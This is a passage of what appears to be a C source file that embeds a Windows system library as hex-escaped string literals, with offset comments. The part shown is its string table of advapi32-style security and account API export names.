\"\\x6B\\x53\\x65\\x72\\x76\\x69\\x63\\x65\\x44\\x61\\x74\\x61\\x62\\x61\\x73\\x65\"   //kServiceDatabase\n/* 006CA0 */   \"\\x00\\x4C\\x6F\\x67\\x6F\\x6E\\x55\\x73\\x65\\x72\\x41\\x00\\x4C\\x6F\\x67\\x6F\"   //.LogonUserA.Logo\n/* 006CC0 */   \"\\x6E\\x55\\x73\\x65\\x72\\x45\\x78\\x41\\x00\\x4C\\x6F\\x67\\x6F\\x6E\\x55\\x73\"   //nUserExA.LogonUs\n/* 006CE0 */   \"\\x65\\x72\\x45\\x78\\x45\\x78\\x57\\x00\\x4C\\x6F\\x67\\x6F\\x6E\\x55\\x73\\x65\"   //erExExW.LogonUse\n/* 006D00 */   \"\\x72\\x45\\x78\\x57\\x00\\x4C\\x6F\\x67\\x6F\\x6E\\x55\\x73\\x65\\x72\\x57\\x00\"   //rExW.LogonUserW.\n/* 006D20 */   \"\\x4C\\x6F\\x6F\\x6B\\x75\\x70\\x41\\x63\\x63\\x6F\\x75\\x6E\\x74\\x4E\\x61\\x6D\"   //LookupAccountNam\n/* 006D40 */   \"\\x65\\x41\\x00\\x4C\\x6F\\x6F\\x6B\\x75\\x70\\x41\\x63\\x63\\x6F\\x75\\x6E\\x74\"   //eA.LookupAccount\n/* 006D60 */   \"\\x4E\\x61\\x6D\\x65\\x57\\x00\\x4C\\x6F\\x6F\\x6B\\x75\\x70\\x41\\x63\\x63\\x6F\"   //NameW.LookupAcco\n/* 006D80 */   \"\\x75\\x6E\\x74\\x53\\x69\\x64\\x41\\x00\\x4C\\x6F\\x6F\\x6B\\x75\\x70\\x41\\x63\"   //untSidA.LookupAc\n/* 006DA0 */   \"\\x63\\x6F\\x75\\x6E\\x74\\x53\\x69\\x64\\x57\\x00\\x4C\\x6F\\x6F\\x6B\\x75\\x70\"   //countSidW.Lookup\n/* 006DC0 */   \"\\x50\\x72\\x69\\x76\\x69\\x6C\\x65\\x67\\x65\\x44\\x69\\x73\\x70\\x6C\\x61\\x79\"   //PrivilegeDisplay\n/* 006DE0 */   \"\\x4E\\x61\\x6D\\x65\\x41\\x00\\x4C\\x6F\\x6F\\x6B\\x75\\x70\\x50\\x72\\x69\\x76\"   //NameA.LookupPriv\n/* 006E00 */   \"\\x69\\x6C\\x65\\x67\\x65\\x44\\x69\\x73\\x70\\x6C\\x61\\x79\\x4E\\x61\\x6D\\x65\"   //ilegeDisplayName\n/* 006E20 */   \"\\x57\\x00\\x4C\\x6F\\x6F\\x6B\\x75\\x70\\x50\\x72\\x69\\x76\\x69\\x6C\\x65\\x67\"   //W.LookupPrivileg\n/* 006E40 */   \"\\x65\\x4E\\x61\\x6D\\x65\\x41\\x00\\x4C\\x6F\\x6F\\x6B\\x75\\x70\\x50\\x72\\x69\"   //eNameA.LookupPri\n/* 006E60 */   \"\\x76\\x69\\x6C\\x65\\x67\\x65\\x4E\\x61\\x6D\\x65\\x57\\x00\\x4C\\x6F\\x6F\\x6B\"   //vilegeNameW.Look\n/* 006E80 */   \"\\x75\\x70\\x50\\x72\\x69\\x76\\x69\\x6C\\x65\\x67\\x65\\x56\\x61\\x6C\\x75\\x65\"   //upPrivilegeValue\n/* 006EA0 */   \"\\x41\\x00\\x4C\\x6F\\x6F\\x6B\\x75\\x70\\x50\\x72\\x69\\x76\\x69\\x6C\\x65\\x67\"   //A.LookupPrivileg\n/* 006EC0 */   \"\\x65\\x56\\x61\\x6C\\x75\\x65\\x57\\x00\\x4C\\x6F\\x6F\\x6B\\x75\\x70\\x53\\x65\"   //eValueW.LookupSe\n/* 006EE0 */   \"\\x63\\x75\\x72\\x69\\x74\\x79\\x44\\x65\\x73\\x63\\x72\\x69\\x70\\x74\\x6F\\x72\"   //curityDescriptor\n/* 006F00 */   \"\\x50\\x61\\x72\\x74\\x73\\x41\\x00\\x4C\\x6F\\x6F\\x6B\\x75\\x70\\x53\\x65\\x63\"   //PartsA.LookupSec\n/* 006F20 */   \"\\x75\\x72\\x69\\x74\\x79\\x44\\x65\\x73\\x63\\x72\\x69\\x70\\x74\\x6F\\x72\\x50\"   //urityDescriptorP\n/* 006F40 */   \"\\x61\\x72\\x74\\x73\\x57\\x00\\x4C\\x73\\x61\\x41\\x64\\x64\\x41\\x63\\x63\\x6F\"   //artsW.LsaAddAcco\n/* 006F60 */   \"\\x75\\x6E\\x74\\x52\\x69\\x67\\x68\\x74\\x73\\x00\\x4C\\x73\\x61\\x41\\x64\\x64\"   //untRights.LsaAdd\n/* 006F80 */   \"\\x50\\x72\\x69\\x76\\x69\\x6C\\x65\\x67\\x65\\x73\\x54\\x6F\\x41\\x63\\x63\\x6F\"   //PrivilegesToAcco\n/* 006FA0 */   \"\\x75\\x6E\\x74\\x00\\x4C\\x73\\x61\\x43\\x6C\\x65\\x61\\x72\\x41\\x75\\x64\\x69\"   //unt.LsaClearAudi\n/* 006FC0 */   \"\\x74\\x4C\\x6F\\x67\\x00\\x4C\\x73\\x61\\x43\\x6C\\x6F\\x73\\x65\\x00\\x4C\\x73\"   //tLog.LsaClose.Ls\n/* 006FE0 */   \"\\x61\\x43\\x72\\x65\\x61\\x74\\x65\\x41\\x63\\x63\\x6F\\x75\\x6E\\x74\\x00\\x4C\"   //aCreateAccount.L\n/* 007000 */   \"\\x73\\x61\\x43\\x72\\x65\\x61\\x74\\x65\\x53\\x65\\x63\\x72\\x65\\x74\\x00\\x4C\"   //saCreateSecret.L\n/* 007020 */   \"\\x73\\x61\\x43\\x72\\x65\\x61\\x74\\x65\\x54\\x72\\x75\\x73\\x74\\x65\\x64\\x44\"   //saCreateTrustedD\n/* 007040 */   \"\\x6F\\x6D\\x61\\x69\\x6E\\x00\\x4C\\x73\\x61\\x43\\x72\\x65\\x61\\x74\\x65\\x54\"   //omain.LsaCreateT\n/* 007060 */   \"\\x72\\x75\\x73\\x74\\x65\\x64\\x44\\x6F\\x6D\\x61\\x69\\x6E\\x45\\x78\\x00\\x4C\"   //rustedDomainEx.L\n/* 007080 */   \"\\x73\\x61\\x44\\x65\\x6C\\x65\\x74\\x65\\x00\\x4C\\x73\\x61\\x44\\x65\\x6C\\x65\"   //saDelete.LsaDele\n/* 0070A0 */   \"\\x74\\x65\\x54\\x72\\x75\\x73\\x74\\x65\\x64\\x44\\x6F\\x6D\\x61\\x69\\x6E\\x00\"   //teTrustedDomain.\n/* 0070C0 */   \"\\x4C\\x73\\x61\\x45\\x6E\\x75\\x6D\\x65\\x72\\x61\\x74\\x65\\x41\\x63\\x63\\x6F\"   //LsaEnumerateAcco\n/* 0070E0 */   \"\\x75\\x6E\\x74\\x52\\x69\\x67\\x68\\x74\\x73\\x00\\x4C\\x73\\x61\\x45\\x6E\\x75\"   //untRights.LsaEnu\n/* 007100 */   \"\\x6D\\x65\\x72\\x61\\x74\\x65\\x41\\x63\\x63\\x6F\\x75\\x6E\\x74\\x73\\x00\\x4C\"   //merateAccounts.L\n/* 007120 */   \"\\x73\\x61\\x45\\x6E\\x75\\x6D\\x65\\x72\\x61\\x74\\x65\\x41\\x63\\x63\\x6F\\x75\"   //saEnumerateAccou\n/* 007140 */   \"\\x6E\\x74\\x73\\x57\\x69\\x74\\x68\\x55\\x73\\x65\\x72\\x52\\x69\\x67\\x68\\x74\"   //ntsWithUserRight\n/* 007160 */   \"\\x00\\x4C\\x73\\x61\\x45\\x6E\\x75\\x6D\\x65\\x72\\x61\\x74\\x65\\x50\\x72\\x69\"   //.LsaEnumeratePri\n/* 007180 */   \"\\x76\\x69\\x6C\\x65\\x67\\x65\\x73\\x00\\x4C\\x73\\x61\\x45\\x6E\\x75\\x6D\\x65\"   //vileges.LsaEnume\n/* 0071A0 */   \"\\x72\\x61\\x74\\x65\\x50\\x72\\x69\\x76\\x69\\x6C\\x65\\x67\\x65\\x73\\x4F\\x66\"   //ratePrivilegesOf\n/* 0071C0 */   \"\\x41\\x63\\x63\\x6F\\x75\\x6E\\x74\\x00\\x4C\\x73\\x61\\x45\\x6E\\x75\\x6D\\x65\"   //Account.LsaEnume\n/* 0071E0 */   \"\\x72\\x61\\x74\\x65\\x54\\x72\\x75\\x73\\x74\\x65\\x64\\x44\\x6F\\x6D\\x61\\x69\"   //rateTrustedDomai\n/* 007200 */   \"\\x6E\\x73\\x00\\x4C\\x73\\x61\\x45\\x6E\\x75\\x6D\\x65\\x72\\x61\\x74\\x65\\x54\"   //ns.LsaEnumerateT\n/* 007220 */   \"\\x72\\x75\\x73\\x74\\x65\\x64\\x44\\x6F\\x6D\\x61\\x69\\x6E\\x73\\x45\\x78\\x00\"   //rustedDomainsEx.\n/* 007240 */   \"\\x4C\\x73\\x61\\x46\\x72\\x65\\x65\\x4D\\x65\\x6D\\x6F\\x72\\x79\\x00\\x4C\\x73\"   //LsaFreeMemory.Ls\n/* 007260 */   \"\\x61\\x47\\x65\\x74\\x51\\x75\\x6F\\x74\\x61\\x73\\x46\\x6F\\x72\\x41\\x63\\x63\"   //aGetQuotasForAcc\n/* 007280 */   \"\\x6F\\x75\\x6E\\x74\\x00\\x4C\\x73\\x61\\x47\\x65\\x74\\x52\\x65\\x6D\\x6F\\x74\"   //ount.LsaGetRemot\n/* 0072A0 */   \"\\x65\\x55\\x73\\x65\\x72\\x4E\\x61\\x6D\\x65\\x00\\x4C\\x73\\x61\\x47\\x65\\x74\"   //eUserName.LsaGet\n/* 0072C0 */   \"\\x53\\x79\\x73\\x74\\x65\\x6D\\x41\\x63\\x63\\x65\\x73\\x73\\x41\\x63\\x63\\x6F\"   //SystemAccessAcco\n/* 0072E0 */   \"\\x75\\x6E\\x74\\x00\\x4C\\x73\\x61\\x47\\x65\\x74\\x55\\x73\\x65\\x72\\x4E\\x61\"   //unt.LsaGetUserNa\n/* 007300 */   \"\\x6D\\x65\\x00\\x4C\\x73\\x61\\x49\\x43\\x4C\\x6F\\x6F\\x6B\\x75\\x70\\x4E\\x61\"   //me.LsaICLookupNa\n/* 007320 */   \"\\x6D\\x65\\x73\\x00\\x4C\\x73\\x61\\x49\\x43\\x4C\\x6F\\x6F\\x6B\\x75\\x70\\x4E\"   //mes.LsaICLookupN\n/* 007340 */   \"\\x61\\x6D\\x65\\x73\\x57\\x69\\x74\\x68\\x43\\x72\\x65\\x64\\x73\\x00\\x4C\\x73\"   //amesWithCreds.Ls\n/* 007360 */   \"\\x61\\x49\\x43\\x4C\\x6F\\x6F\\x6B\\x75\\x70\\x53\\x69\\x64\\x73\\x00\\x4C\\x73\"   //aICLookupSids.Ls\n/* 007380 */   \"\\x61\\x49\\x43\\x4C\\x6F\\x6F\\x6B\\x75\\x70\\x53\\x69\\x64\\x73\\x57\\x69\\x74\"   //aICLookupSidsWit\n/* 0073A0 */   \"\\x68\\x43\\x72\\x65\\x64\\x73\\x00\\x4C\\x73\\x61\\x4C\\x6F\\x6F\\x6B\\x75\\x70\"   //hCreds.LsaLookup\n/* 0073C0 */   \"\\x4E\\x61\\x6D\\x65\\x73\\x00\\x4C\\x73\\x61\\x4C\\x6F\\x6F\\x6B\\x75\\x70\\x4E\"   //Names.LsaLookupN\n/* 0073E0 */   \"\\x61\\x6D\\x65\\x73\\x32\\x00\\x4C\\x73\\x61\\x4C\\x6F\\x6F\\x6B\\x75\\x70\\x50\"   //ames2.LsaLookupP\n/* 007400 */   \"\\x72\\x69\\x76\\x69\\x6C\\x65\\x67\\x65\\x44\\x69\\x73\\x70\\x6C\\x61\\x79\\x4E\"   //rivilegeDisplayN\n/* 007420 */   \"\\x61\\x6D\\x65\\x00\\x4C\\x73\\x61\\x4C\\x6F\\x6F\\x6B\\x75\\x70\\x50\\x72\\x69\"   //ame.LsaLookupPri\n/* 007440 */   \"\\x76\\x69\\x6C\\x65\\x67\\x65\\x4E\\x61\\x6D\\x65\\x00\\x4C\\x73\\x61\\x4C\\x6F\"   //vilegeName.LsaLo\n/* 007460 */   \"\\x6F\\x6B\\x75\\x70\\x50\\x72\\x69\\x76\\x69\\x6C\\x65\\x67\\x65\\x56\\x61\\x6C\"   //okupPrivilegeVal\n/* 007480 */   \"\\x75\\x65\\x00\\x4C\\x73\\x61\\x4C\\x6F\\x6F\\x6B\\x75\\x70\\x53\\x69\\x64\\x73\"   //ue.LsaLookupSids\n/* 0074A0 */   \"\\x00\\x4C\\x73\\x61\\x4E\\x74\\x53\\x74\\x61\\x74\\x75\\x73\\x54\\x6F\\x57\\x69\"   //.LsaNtStatusToWi\n/* 0074C0 */   \"\\x6E\\x45\\x72\\x72\\x6F\\x72\\x00\\x4C\\x73\\x61\\x4F\\x70\\x65\\x6E\\x41\\x63\"   //nError.LsaOpenAc\n/* 0074E0 */   \"\\x63\\x6F\\x75\\x6E\\x74\\x00\\x4C\\x73\\x61\\x4F\\x70\\x65\\x6E\\x50\\x6F\\x6C\"   //count.LsaOpenPol\n/* 007500 */   \"\\x69\\x63\\x79\\x00\\x4C\\x73\\x61\\x4F\\x70\\x65\\x6E\\x50\\x6F\\x6C\\x69\\x63\"   //icy.LsaOpenPolic\n/* 007520 */   \"\\x79\\x53\\x63\\x65\\x00\\x4C\\x73\\x61\\x4F\\x70\\x65\\x6E\\x53\\x65\\x63\\x72\"   //ySce.LsaOpenSecr\n/* 007540 */   \"\\x65\\x74\\x00\\x4C\\x73\\x61\\x4F\\x70\\x65\\x6E\\x54\\x72\\x75\\x73\\x74\\x65\"   //et.LsaOpenTruste\n/* 007560 */   \"\\x64\\x44\\x6F\\x6D\\x61\\x69\\x6E\\x00\\x4C\\x73\\x61\\x4F\\x70\\x65\\x6E\\x54\"   //dDomain.LsaOpenT\n/* 007580 */   \"\\x72\\x75\\x73\\x74\\x65\\x64\\x44\\x6F\\x6D\\x61\\x69\\x6E\\x42\\x79\\x4E\\x61\"   //rustedDomainByNa\n/* 0075A0 */   \"\\x6D\\x65\\x00\\x4C\\x73\\x61\\x51\\x75\\x65\\x72\\x79\\x44\\x6F\\x6D\\x61\\x69\"   //me.LsaQueryDomai\n/* 0075C0 */   \"\\x6E\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x50\\x6F\\x6C\\x69\"   //nInformationPoli\n/* 0075E0 */   \"\\x63\\x79\\x00\\x4C\\x73\\x61\\x51\\x75\\x65\\x72\\x79\\x46\\x6F\\x72\\x65\\x73\"   //cy.LsaQueryFores\n/* 007600 */   \"\\x74\\x54\\x72\\x75\\x73\\x74\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\"   //tTrustInformatio\n/* 007620 */   \"\\x6E\\x00\\x4C\\x73\\x61\\x51\\x75\\x65\\x72\\x79\\x49\\x6E\\x66\\x6F\\x54\\x72\"   //n.LsaQueryInfoTr\n/* 007640 */   \"\\x75\\x73\\x74\\x65\\x64\\x44\\x6F\\x6D\\x61\\x69\\x6E\\x00\\x4C\\x73\\x61\\x51\"   //ustedDomain.LsaQ\n/* 007660 */   \"\\x75\\x65\\x72\\x79\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x50\"   //ueryInformationP\n/* 007680 */   \"\\x6F\\x6C\\x69\\x63\\x79\\x00\\x4C\\x73\\x61\\x51\\x75\\x65\\x72\\x79\\x53\\x65\"   //olicy.LsaQuerySe\n/* 0076A0 */   \"\\x63\\x72\\x65\\x74\\x00\\x4C\\x73\\x61\\x51\\x75\\x65\\x72\\x79\\x53\\x65\\x63\"   //cret.LsaQuerySec\n/* 0076C0 */   \"\\x75\\x72\\x69\\x74\\x79\\x4F\\x62\\x6A\\x65\\x63\\x74\\x00\\x4C\\x73\\x61\\x51\"   //urityObject.LsaQ\n/* 0076E0 */   \"\\x75\\x65\\x72\\x79\\x54\\x72\\x75\\x73\\x74\\x65\\x64\\x44\\x6F\\x6D\\x61\\x69\"   //ueryTrustedDomai\n/* 007700 */   \"\\x6E\\x49\\x6E\\x66\\x6F\\x00\\x4C\\x73\\x61\\x51\\x75\\x65\\x72\\x79\\x54\\x72\"   //nInfo.LsaQueryTr\n/* 007720 */   \"\\x75\\x73\\x74\\x65\\x64\\x44\\x6F\\x6D\\x61\\x69\\x6E\\x49\\x6E\\x66\\x6F\\x42\"   //ustedDomainInfoB\n/* 007740 */   \"\\x79\\x4E\\x61\\x6D\\x65\\x00\\x4C\\x73\\x61\\x52\\x65\\x6D\\x6F\\x76\\x65\\x41\"   //yName.LsaRemoveA\n/* 007760 */   \"\\x63\\x63\\x6F\\x75\\x6E\\x74\\x52\\x69\\x67\\x68\\x74\\x73\\x00\\x4C\\x73\\x61\"   //ccountRights.Lsa\n/* 007780 */   \"\\x52\\x65\\x6D\\x6F\\x76\\x65\\x50\\x72\\x69\\x76\\x69\\x6C\\x65\\x67\\x65\\x73\"   //RemovePrivileges\n/* 0077A0 */   \"\\x46\\x72\\x6F\\x6D\\x41\\x63\\x63\\x6F\\x75\\x6E\\x74\\x00\\x4C\\x73\\x61\\x52\"   //FromAccount.LsaR\n/* 0077C0 */   \"\\x65\\x74\\x72\\x69\\x65\\x76\\x65\\x50\\x72\\x69\\x76\\x61\\x74\\x65\\x44\\x61\"   //etrievePrivateDa\n/* 0077E0 */   \"\\x74\\x61\\x00\\x4C\\x73\\x61\\x53\\x65\\x74\\x44\\x6F\\x6D\\x61\\x69\\x6E\\x49\"   //ta.LsaSetDomainI\n/* 007800 */   \"\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x50\\x6F\\x6C\\x69\\x63\\x79\"   //nformationPolicy\n/* 007820 */   \"\\x00\\x4C\\x73\\x61\\x53\\x65\\x74\\x46\\x6F\\x72\\x65\\x73\\x74\\x54\\x72\\x75\"   //.LsaSetForestTru\n/* 007840 */   \"\\x73\\x74\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x00\\x4C\\x73\"   //stInformation.Ls\n/* 007860 */   \"\\x61\\x53\\x65\\x74\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x50\"   //aSetInformationP\n/* 007880 */   \"\\x6F\\x6C\\x69\\x63\\x79\\x00\\x4C\\x73\\x61\\x53\\x65\\x74\\x49\\x6E\\x66\\x6F\"   //olicy.LsaSetInfo\n/* 0078A0 */   \"\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x54\\x72\\x75\\x73\\x74\\x65\\x64\\x44\\x6F\"   //rmationTrustedDo\n/* 0078C0 */   \"\\x6D\\x61\\x69\\x6E\\x00\\x4C\\x73\\x61\\x53\\x65\\x74\\x51\\x75\\x6F\\x74\\x61\"   //main.LsaSetQuota\n/* 0078E0 */   \"\\x73\\x46\\x6F\\x72\\x41\\x63\\x63\\x6F\\x75\\x6E\\x74\\x00\\x4C\\x73\\x61\\x53\"   //sForAccount.LsaS\n/* 007900 */   \"\\x65\\x74\\x53\\x65\\x63\\x72\\x65\\x74\\x00\\x4C\\x73\\x61\\x53\\x65\\x74\\x53\"   //etSecret.LsaSetS\n/* 007920 */   \"\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x4F\\x62\\x6A\\x65\\x63\\x74\\x00\\x4C\\x73\"   //ecurityObject.Ls\n/* 007940 */   \"\\x61\\x53\\x65\\x74\\x53\\x79\\x73\\x74\\x65\\x6D\\x41\\x63\\x63\\x65\\x73\\x73\"   //aSetSystemAccess\n/* 007960 */   \"\\x41\\x63\\x63\\x6F\\x75\\x6E\\x74\\x00\\x4C\\x73\\x61\\x53\\x65\\x74\\x54\\x72\"   //Account.LsaSetTr\n/* 007980 */   \"\\x75\\x73\\x74\\x65\\x64\\x44\\x6F\\x6D\\x61\\x69\\x6E\\x49\\x6E\\x66\\x6F\\x42\"   //ustedDomainInfoB\n/* 0079A0 */   \"\\x79\\x4E\\x61\\x6D\\x65\\x00\\x4C\\x73\\x61\\x53\\x65\\x74\\x54\\x72\\x75\\x73\"   //yName.LsaSetTrus\n/* 0079C0 */   \"\\x74\\x65\\x64\\x44\\x6F\\x6D\\x61\\x69\\x6E\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\"   //tedDomainInforma\n/* 0079E0 */   \"\\x74\\x69\\x6F\\x6E\\x00\\x4C\\x73\\x61\\x53\\x74\\x6F\\x72\\x65\\x50\\x72\\x69\"   //tion.LsaStorePri\n/* 007A00 */   \"\\x76\\x61\\x74\\x65\\x44\\x61\\x74\\x61\\x00\\x4D\\x44\\x34\\x46\\x69\\x6E\\x61\"   //vateData.MD4Fina\n/* 007A20 */   \"\\x6C\\x00\\x4D\\x44\\x34\\x49\\x6E\\x69\\x74\\x00\\x4D\\x44\\x34\\x55\\x70\\x64\"   //l.MD4Init.MD4Upd\n/* 007A40 */   \"\\x61\\x74\\x65\\x00\\x4D\\x44\\x35\\x46\\x69\\x6E\\x61\\x6C\\x00\\x4D\\x44\\x35\"   //ate.MD5Final.MD5\n/* 007A60 */   \"\\x49\\x6E\\x69\\x74\\x00\\x4D\\x44\\x35\\x55\\x70\\x64\\x61\\x74\\x65\\x00\\x4D\"   //Init.MD5Update.M\n/* 007A80 */   \"\\x53\\x43\\x68\\x61\\x70\\x53\\x72\\x76\\x43\\x68\\x61\\x6E\\x67\\x65\\x50\\x61\"   //SChapSrvChangePa\n/* 007AA0 */   \"\\x73\\x73\\x77\\x6F\\x72\\x64\\x00\\x4D\\x53\\x43\\x68\\x61\\x70\\x53\\x72\\x76\"   //ssword.MSChapSrv\n/* 007AC0 */   \"\\x43\\x68\\x61\\x6E\\x67\\x65\\x50\\x61\\x73\\x73\\x77\\x6F\\x72\\x64\\x32\\x00\"   //ChangePassword2.\n/* 007AE0 */   \"\\x4D\\x61\\x6B\\x65\\x41\\x62\\x73\\x6F\\x6C\\x75\\x74\\x65\\x53\\x44\\x00\\x4D\"   //MakeAbsoluteSD.M\n/* 007B00 */   \"\\x61\\x6B\\x65\\x41\\x62\\x73\\x6F\\x6C\\x75\\x74\\x65\\x53\\x44\\x32\\x00\\x4D\"   //akeAbsoluteSD2.M\n/* 007B20 */   \"\\x61\\x6B\\x65\\x53\\x65\\x6C\\x66\\x52\\x65\\x6C\\x61\\x74\\x69\\x76\\x65\\x53\"   //akeSelfRelativeS\n/* 007B40 */   \"\\x44\\x00\\x4D\\x61\\x70\\x47\\x65\\x6E\\x65\\x72\\x69\\x63\\x4D\\x61\\x73\\x6B\"   //D.MapGenericMask\n/* 007B60 */   \"\\x00\\x4E\\x6F\\x74\\x69\\x66\\x79\\x42\\x6F\\x6F\\x74\\x43\\x6F\\x6E\\x66\\x69\"   //.NotifyBootConfi\n/* 007B80 */   \"\\x67\\x53\\x74\\x61\\x74\\x75\\x73\\x00\\x4E\\x6F\\x74\\x69\\x66\\x79\\x43\\x68\"   //gStatus.NotifyCh\n/* 007BA0 */   \"\\x61\\x6E\\x67\\x65\\x45\\x76\\x65\\x6E\\x74\\x4C\\x6F\\x67\\x00\\x4F\\x62\\x6A\"   //angeEventLog.Obj\n/* 007BC0 */   \"\\x65\\x63\\x74\\x43\\x6C\\x6F\\x73\\x65\\x41\\x75\\x64\\x69\\x74\\x41\\x6C\\x61\"   //ectCloseAuditAla\n/* 007BE0 */   \"\\x72\\x6D\\x41\\x00\\x4F\\x62\\x6A\\x65\\x63\\x74\\x43\\x6C\\x6F\\x73\\x65\\x41\"   //rmA.ObjectCloseA\n/* 007C00 */   \"\\x75\\x64\\x69\\x74\\x41\\x6C\\x61\\x72\\x6D\\x57\\x00\\x4F\\x62\\x6A\\x65\\x63\"   //uditAlarmW.Objec\n/* 007C20 */   \"\\x74\\x44\\x65\\x6C\\x65\\x74\\x65\\x41\\x75\\x64\\x69\\x74\\x41\\x6C\\x61\\x72\"   //tDeleteAuditAlar\n/* 007C40 */   \"\\x6D\\x41\\x00\\x4F\\x62\\x6A\\x65\\x63\\x74\\x44\\x65\\x6C\\x65\\x74\\x65\\x41\"   //mA.ObjectDeleteA\n/* 007C60 */   \"\\x75\\x64\\x69\\x74\\x41\\x6C\\x61\\x72\\x6D\\x57\\x00\\x4F\\x62\\x6A\\x65\\x63\"   //uditAlarmW.Objec\n/* 007C80 */   \"\\x74\\x4F\\x70\\x65\\x6E\\x41\\x75\\x64\\x69\\x74\\x41\\x6C\\x61\\x72\\x6D\\x41\"   //tOpenAuditAlarmA\n/* 007CA0 */   \"\\x00\\x4F\\x62\\x6A\\x65\\x63\\x74\\x4F\\x70\\x65\\x6E\\x41\\x75\\x64\\x69\\x74\"   //.ObjectOpenAudit\n/* 007CC0 */   \"\\x41\\x6C\\x61\\x72\\x6D\\x57\\x00\\x4F\\x62\\x6A\\x65\\x63\\x74\\x50\\x72\\x69\"   //AlarmW.ObjectPri\n/* 007CE0 */   \"\\x76\\x69\\x6C\\x65\\x67\\x65\\x41\\x75\\x64\\x69\\x74\\x41\\x6C\\x61\\x72\\x6D\"   //vilegeAuditAlarm\n/* 007D00 */   \"\\x41\\x00\\x4F\\x62\\x6A\\x65\\x63\\x74\\x50\\x72\\x69\\x76\\x69\\x6C\\x65\\x67\"   //A.ObjectPrivileg\n/* 007D20 */   \"\\x65\\x41\\x75\\x64\\x69\\x74\\x41\\x6C\\x61\\x72\\x6D\\x57\\x00\\x4F\\x70\\x65\"   //eAuditAlarmW.Ope\n/* 007D40 */   \"\\x6E\\x42\\x61\\x63\\x6B\\x75\\x70\\x45\\x76\\x65\\x6E\\x74\\x4C\\x6F\\x67\\x41\"   //nBackupEventLogA\n/* 007D60 */   \"\\x00\\x4F\\x70\\x65\\x6E\\x42\\x61\\x63\\x6B\\x75\\x70\\x45\\x76\\x65\\x6E\\x74\"   //.OpenBackupEvent\n/* 007D80 */   \"\\x4C\\x6F\\x67\\x57\\x00\\x4F\\x70\\x65\\x6E\\x45\\x6E\\x63\\x72\\x79\\x70\\x74\"   //LogW.OpenEncrypt\n/* 007DA0 */   \"\\x65\\x64\\x46\\x69\\x6C\\x65\\x52\\x61\\x77\\x41\\x00\\x4F\\x70\\x65\\x6E\\x45\"   //edFileRawA.OpenE\n/* 007DC0 */   \"\\x6E\\x63\\x72\\x79\\x70\\x74\\x65\\x64\\x46\\x69\\x6C\\x65\\x52\\x61\\x77\\x57\"   //ncryptedFileRawW\n/* 007DE0 */   \"\\x00\\x4F\\x70\\x65\\x6E\\x45\\x76\\x65\\x6E\\x74\\x4C\\x6F\\x67\\x41\\x00\\x4F\"   //.OpenEventLogA.O\n/* 007E00 */   \"\\x70\\x65\\x6E\\x45\\x76\\x65\\x6E\\x74\\x4C\\x6F\\x67\\x57\\x00\\x4F\\x70\\x65\"   //penEventLogW.Ope\n/* 007E20 */   \"\\x6E\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x54\\x6F\\x6B\\x65\\x6E\\x00\\x4F\\x70\"   //nProcessToken.Op\n/* 007E40 */   \"\\x65\\x6E\\x53\\x43\\x4D\\x61\\x6E\\x61\\x67\\x65\\x72\\x41\\x00\\x4F\\x70\\x65\"   //enSCManagerA.Ope\n/* 007E60 */   \"\\x6E\\x53\\x43\\x4D\\x61\\x6E\\x61\\x67\\x65\\x72\\x57\\x00\\x4F\\x70\\x65\\x6E\"   //nSCManagerW.Open\n/* 007E80 */   \"\\x53\\x65\\x72\\x76\\x69\\x63\\x65\\x41\\x00\\x4F\\x70\\x65\\x6E\\x53\\x65\\x72\"   //ServiceA.OpenSer\n/* 007EA0 */   \"\\x76\\x69\\x63\\x65\\x57\\x00\\x4F\\x70\\x65\\x6E\\x54\\x68\\x72\\x65\\x61\\x64\"   //viceW.OpenThread\n/* 007EC0 */   \"\\x54\\x6F\\x6B\\x65\\x6E\\x00\\x4F\\x70\\x65\\x6E\\x54\\x72\\x61\\x63\\x65\\x41\"   //Token.OpenTraceA\n/* 007EE0 */   \"\\x00\\x4F\\x70\\x65\\x6E\\x54\\x72\\x61\\x63\\x65\\x57\\x00\\x50\\x72\\x69\\x76\"   //.OpenTraceW.Priv\n/* 007F00 */   \"\\x69\\x6C\\x65\\x67\\x65\\x43\\x68\\x65\\x63\\x6B\\x00\\x50\\x72\\x69\\x76\\x69\"   //ilegeCheck.Privi\n/* 007F20 */   \"\\x6C\\x65\\x67\\x65\\x64\\x53\\x65\\x72\\x76\\x69\\x63\\x65\\x41\\x75\\x64\\x69\"   //legedServiceAudi\n/* 007F40 */   \"\\x74\\x41\\x6C\\x61\\x72\\x6D\\x41\\x00\\x50\\x72\\x69\\x76\\x69\\x6C\\x65\\x67\"   //tAlarmA.Privileg\n/* 007F60 */   \"\\x65\\x64\\x53\\x65\\x72\\x76\\x69\\x63\\x65\\x41\\x75\\x64\\x69\\x74\\x41\\x6C\"   //edServiceAuditAl\n/* 007F80 */   \"\\x61\\x72\\x6D\\x57\\x00\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x49\\x64\\x6C\\x65\"   //armW.ProcessIdle\n/* 007FA0 */   \"\\x54\\x61\\x73\\x6B\\x73\\x00\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x54\\x72\\x61\"   //Tasks.ProcessTra\n/* 007FC0 */   \"\\x63\\x65\\x00\\x51\\x75\\x65\\x72\\x79\\x41\\x6C\\x6C\\x54\\x72\\x61\\x63\\x65\"   //ce.QueryAllTrace\n/* 007FE0 */   \"\\x73\\x41\\x00\\x51\\x75\\x65\\x72\\x79\\x41\\x6C\\x6C\\x54\\x72\\x61\\x63\\x65\"   //sA.QueryAllTrace\n/* 008000 */   \"\\x73\\x57\\x00\\x51\\x75\\x65\\x72\\x79\\x52\\x65\\x63\\x6F\\x76\\x65\\x72\\x79\"   //sW.QueryRecovery\n/* 008020 */   